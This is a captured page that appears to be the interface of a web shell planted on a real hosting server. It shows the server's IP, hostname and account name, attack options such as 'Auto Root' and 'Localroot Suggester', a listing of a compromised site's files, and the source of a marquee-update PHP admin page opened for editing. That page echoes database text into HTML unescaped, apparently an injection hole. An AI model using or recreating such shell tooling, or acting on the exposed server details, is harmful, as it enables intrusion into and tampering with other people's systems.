Linux moon.hostseba.com 4.18.0-553.51.1.lve.el8.x86_64 #1 SMP Tue May 6 15:14:12 UTC 2025 x86_64
LiteSpeed
Server IP : 103.174.152.68 & Your IP : 216.73.216.9
Domains :
Cant Read [ /etc/named.conf ]
User : julaysp1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
julaysp1 /
public_html /
list-20250913061337 /
Delete
Unzip
Name
Size
Permission
Date
Action
css
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
dashboard
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
dist
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
font-awesome
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
fonts
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
includes
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
light
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
list
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
simple-line-icons
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
ti-icons
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
typeahead.js
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
wp
[ DIR ]
drwxr-xr-x
2025-09-13 06:13
TonnyBanglaMJ-Bold.woff
37.41
KB
-rw-r--r--
2025-05-27 07:33
TonnyBanglaMJ-Regular.ttf
69.59
KB
-rw-r--r--
2025-05-27 07:33
admin_file_upload.php
2.96
KB
-rw-r--r--
2024-11-16 10:37
balance_add_remove.php
2.83
KB
-rw-r--r--
2024-10-26 14:38
bpbluyix.php
760
B
-rw-r--r--
2025-08-31 20:43
configuration.php
250
B
-rw-r--r--
2024-12-04 06:50
fontawesome-webfont.ttf
134.96
KB
-rw-r--r--
2023-12-20 13:06
footer.php
0
B
-rw-r--r--
2025-09-12 17:08
glyphicons-halflings-regular.svg
106.19
KB
-rw-r--r--
2023-12-20 13:06
glyphicons-halflings-regular.woff
22.88
KB
-rw-r--r--
2023-12-20 13:06
googlee6fd02d83edbe9eb.html
53
B
-rw-r--r--
2025-08-21 04:56
index.php
7.03
KB
-rw-r--r--
2025-09-10 08:54
nibondon_make.txt
2
B
-rw-r--r--
2025-08-20 19:12
update_marquee.php
4.88
KB
-rw-r--r--
2024-10-27 17:24
Save
Rename
<?php include_once("header.php"); // Prepare the SQL query to fetch existing records $sql = "SELECT * FROM marquee"; $result = $conn->query($sql); // Initialize an array to store the users $users = array(); // Check if any records were found if ($result->num_rows > 0) { // Fetch all rows as an associative array and store them in the $users array while ($row = $result->fetch_assoc()) { $users[] = $row; } } else { $users = []; // No users found } // Check if the form has been submitted for updating numbers if (isset($_POST['update'])) { $updateSuccess = true; // Flag to track success foreach ($_POST['numbers'] as $id => $new_number) { $new_number_encoded = base64_encode($new_number); // Encode here $query = "UPDATE marquee SET marquee_text = ? WHERE id = ?"; $stmt = $conn->prepare($query); if ($stmt) { // Check if statement was prepared successfully $stmt->bind_param("si", $new_number_encoded, $id); if (!$stmt->execute()) { $updateSuccess = false; // Update failed } $stmt->close(); } else { $updateSuccess = false; // Prepare failed } } // Show alert based on the success of the update operation if ($updateSuccess) { echo '<div class="alert alert-info" style="position: fixed; top: 20px; right: 20px; z-index: 1033;"> <p> <span class="fa fa-fw fa-info-circle me-1"></span> <span class="title"></span> <span class="message">Successfully Updated All</span> </p> <a class="close" aria-label="Close" onclick="this.parentElement.style.display=\'none\';"> <i class="fa fa-times"></i> </a> </div>'; } else { echo '<div class="alert alert-danger" style="position: fixed; top: 20px; right: 20px; z-index: 1033;"> <p> <span class="fa fa-fw fa-exclamation-circle me-1"></span> <span class="message">Failed to Update Some Entries</span> </p> <a class="close" aria-label="Close" onclick="this.parentElement.style.display=\'none\';"> <i class="fa fa-times"></i> </a> </div>'; } } // Fetch all numbers from the marquee_text table $query = "SELECT id, page_name, marquee_text FROM marquee"; $result = mysqli_query($conn, $query); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="path/to/your/css/styles.css"> <!-- Ensure to include your styles --> <title>Update Marquee Text</title> </head> <body> <main id="main-container"> <div class="content"> <div class="card mb-3 p-3"> <h4 class="py-1">নোটিশ টেক্স আপডেট করুন এখান থেকে</h4> <form method="POST" action=""> <table border="1" class="table"> <tr> <th>ID</th> <th>Page Name</th> <th>Number</th> </tr> <?php // Loop through the result and display numbers if (mysqli_num_rows($result) > 0) { while ($row = mysqli_fetch_assoc($result)) { echo "<tr>"; echo "<td><b>" . $row['id'] . ":</b></td>"; echo "<td>" . $row['page_name'] . "</td>"; // Each number has a textarea for editing echo "<td> <textarea class='form-control mb-2' name='numbers[" . $row['id'] . "]' required>" . base64_decode($row['marquee_text']) . "</textarea> </td>"; echo "</tr>"; } } else { echo "<tr><td colspan='3'>No numbers found</td></tr>"; } ?> </table> <input type="submit" class="btn btn-secondary mx-3" name="update" value="Update All"> </form> </div> </div> </main> <?php include_once("footer.php"); ?> <script> $(document).ready(function () { // Set active class on the appropriate navigation link $('a.nav-main-link').removeClass("active"); $('a.update_marquee').addClass("active"); }); </script> </body> </html> <?php // Close the database connection here, at the end of your script mysqli_close($conn); ?>